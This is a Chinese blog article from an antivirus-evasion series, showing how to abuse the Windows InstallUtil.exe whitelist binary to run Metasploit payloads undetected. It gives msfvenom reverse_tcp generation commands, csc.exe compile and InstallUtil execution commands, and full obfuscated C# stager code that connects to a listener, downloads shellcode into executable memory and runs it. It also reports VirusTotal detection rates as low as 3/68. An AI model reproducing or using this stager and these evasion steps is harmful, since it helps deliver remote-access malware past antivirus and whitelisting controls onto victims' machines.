远控免杀专题(36)-白名单InstallUtil.exe执行payload(VT免杀率3-68)

admin 2022年9月30日10:20:52程序逆向评论13 views4950字阅读16分30秒阅读模式

声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

文章打包下载及相关软件下载:https://github.com/TideSec/BypassAntiVirus


免杀能力一览表

远控免杀专题(36)-白名单InstallUtil.exe执行payload(VT免杀率3-68)

远控免杀专题(36)-白名单InstallUtil.exe执行payload(VT免杀率3-68)

远控免杀专题(36)-白名单InstallUtil.exe执行payload(VT免杀率3-68)

几点说明:

1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。

2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。

3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。

4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀或杀软查杀能力的判断指标。

5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。


一、InstallUtil.exe介绍

InstallUtil.exe算是免杀白名单里使用比较多的一个了,InstallUtil.exe可以用于安装有.NET开发的所有应用安装程序,如果要使用 .NET Framework 开发 Windows 服务,则可以使用installutil.exe命令行快速安装服务应用程序。

metasploit自带的evasion免杀模块,就提供了windows/applocker_evasion_install_util来直接创建InstallUtil.exe可加载的payload,详见远控免杀专题文章(4)-Evasion模块免杀(VT免杀率12/71):https://mp.weixin.qq.com/s/YnnCM7W20xScv52k_ubxYQ

另外,专题20里的GreatSCT也提供了基于InstallUtil.exe的免杀:https://mp.weixin.qq.com/s/s9DFRIgpvpE-_MneO0B_FQ

二、使用CSC+InstallUtil执行shellcode(VT免杀率33/71)

用的比较多的是CSC.exe+InstallUtil.exe加载shellcode,流程为:msf生成C#格式shellcode -> 加密shellcode -> 解密并加载shellcode -> csc.exe编译成.jpg文件 -> InstallUtil.exe白名单执行。之前backlion师傅和亮神都介绍过这种方法。

先通过msfvenom生成C#的shellcode

msfvenom -p  windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b 'x00' lhost=10.211.55.2 lport=3333 -f csharp

远控免杀专题(36)-白名单InstallUtil.exe执行payload(VT免杀率3-68)

下载InstallUtil-Shellcode.cs

wget https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/InstallUtil-Shellcode.cs

将上面生成的shellcode复制到InstallUtil-Shellcode.cs文件中。

使用csc编译InstallUtil-ShellCode.cs

C:WindowsMicrosoft.NETFrameworkv2.0.50727csc.exe /unsafe /platform:x86 /out:C:testshell.exe C:testInstallUtil-ShellCode.cs

编译生成的shell.exe直接执行是不行的,需要使用InstallUtil.exe来触发。

使用InstallUtil.exe执行shell.exe,360安全卫士会检测到InstallUtil.exe执行预警,360杀毒和火绒动态和静态均无预警。

C:WindowsMicrosoft.NETFrameworkv2.0.50727InstallUtil.exe /logfile= /LogToConsole=false /U C:testshell.exe

远控免杀专题(36)-白名单InstallUtil.exe执行payload(VT免杀率3-68)

msf中可上线

远控免杀专题(36)-白名单InstallUtil.exe执行payload(VT免杀率3-68)

virustotal.com中shell.exe文件33/71个报病毒,这个有点出乎意料。

远控免杀专题(36)-白名单InstallUtil.exe执行payload(VT免杀率3-68)

三、GreatSCT中基于InstallUtil的payload(VT免杀率3/68)

之前我写的专题20里的GreatSCT也提供了基于InstallUtil.exe的免杀:https://mp.weixin.qq.com/s/s9DFRIgpvpE-_MneO0B_FQ,从中提取出了一种cs代码,如下。只需要替换最后的ip和端口就可以。

using System; using System.Net; using System.Linq; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Threading; using System.Configuration.Install; using System.Windows.Forms;	public class xikGyQhiWFtLfea {		public static void Main()		{			while(true){{ MessageBox.Show("doge"); Console.ReadLine();}}		}	}
[System.ComponentModel.RunInstaller(true)] public class tlVMKernIcgK : System.Configuration.Install.Installer { public override void Uninstall(System.Collections.IDictionary DfYhOEiegJczVcb) { xPdYsYuXnSnGw.poQMzdP(); } }
public class xPdYsYuXnSnGw { [DllImport("kernel32")] private static extern UInt32 VirtualAlloc(UInt32 JkWcZPjIfoHi,UInt32 QzVLSfv, UInt32 WwZvpI, UInt32 kzasnlrCx);[DllImport("kernel32")]private static extern IntPtr CreateThread(UInt32 pHkjjhGC, UInt32 nvhwAfGRpaan, UInt32 omtHlqvnYUwang,IntPtr RjAkyAqEjlRcyn, UInt32 JCivBCMUx, ref UInt32 HCBPuOkvhoYUG);[DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr wYVgya, UInt32 ikklPOdvYt);static byte[] lXsdNPt(string GpvIvURjyADhMjk, int YCtOqjKhKOVx) { IPEndPoint SzcUwwr = new IPEndPoint(IPAddress.Parse(GpvIvURjyADhMjk), YCtOqjKhKOVx); Socket chQxzayBFUMpqt = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); try { chQxzayBFUMpqt.Connect(SzcUwwr); } catch { return null;} byte[] DlkoUdk = new byte[4]; chQxzayBFUMpqt.Receive(DlkoUdk, 4, 0); int AXwxWBmSOrwh = BitConverter.ToInt32(DlkoUdk, 0); byte[] GwvBqMFF = new byte[AXwxWBmSOrwh + 5]; int vWjTky = 0; while (vWjTky < AXwxWBmSOrwh) { vWjTky += chQxzayBFUMpqt.Receive(GwvBqMFF, vWjTky + 5, (AXwxWBmSOrwh - vWjTky) < 4096 ? (AXwxWBmSOrwh - vWjTky) : 4096, 0);} byte[] SYFASUFosCHjk = BitConverter.GetBytes((int)chQxzayBFUMpqt.Handle); Array.Copy(SYFASUFosCHjk, 0, GwvBqMFF, 1, 4); GwvBqMFF[0] = 0xBF; return GwvBqMFF;}static void mjnxRGlBtgsKaNL(byte[] HCpaoWPeusDevY) { if (HCpaoWPeusDevY != null) { UInt32 VcgiCTPFDF = VirtualAlloc(0, (UInt32)HCpaoWPeusDevY.Length, 0x1000, 0x40); Marshal.Copy(HCpaoWPeusDevY, 0, (IntPtr)(VcgiCTPFDF), HCpaoWPeusDevY.Length); IntPtr syuSYjh = IntPtr.Zero; UInt32 TLwAODfreIhMN = 0; IntPtr IaskpTOKF = IntPtr.Zero; syuSYjh = CreateThread(0, 0, VcgiCTPFDF, IaskpTOKF, 0, ref TLwAODfreIhMN); WaitForSingleObject(syuSYjh, 0xFFFFFFFF); }}
public static void poQMzdP() { byte[] QxKpvX = null; QxKpvX = lXsdNPt("10.211.55.2", 3333); mjnxRGlBtgsKaNL(QxKpvX); } }

我尝试使用csc.exe进行x86编译出错,于是使用了x64编译,生成shell.exe

C:WindowsMicrosoft.NETFramework64v4.0.30319csc.exe /platform:x64  /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library /out:shell.exe /unsafe C:testtest.cs

生成的shell.exe是无法直接执行的,需要使用InstallUtil.exe进行加载。

C:WindowsMicrosoft.NETFramework64v4.0.30319InstallUtil.exe /logfile= /LogToConsole=false /U shell.exe

远控免杀专题(36)-白名单InstallUtil.exe执行payload(VT免杀率3-68)

msf中使用payloadwindows/x64/meterpreter/reverse_tcp,可正常上线。

远控免杀专题(36)-白名单InstallUtil.exe执行payload(VT免杀率3-68)

virustotal.com中shell.exe文件3/68个报病毒

远控免杀专题(36)-白名单InstallUtil.exe执行payload(VT免杀率3-68)

四、参考资料

InstallUtil&csc.exe-bypass application whitelisting:https://pplsec.github.io/2019/03/26/InstallUtil&csc.exe-bypass-application-whitelisting/

csharp 编译文件绕过防病毒软件利用手法分析:https://www.jianshu.com/p/0eea57654c30


原文始发于微信公众号(白帽子):远控免杀专题(36)-白名单InstallUtil.exe执行payload(VT免杀率3-68)

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年9月30日10:20:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  远控免杀专题(36)-白名单InstallUtil.exe执行payload(VT免杀率3-68) http://cn-sec.com/archives/868478.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: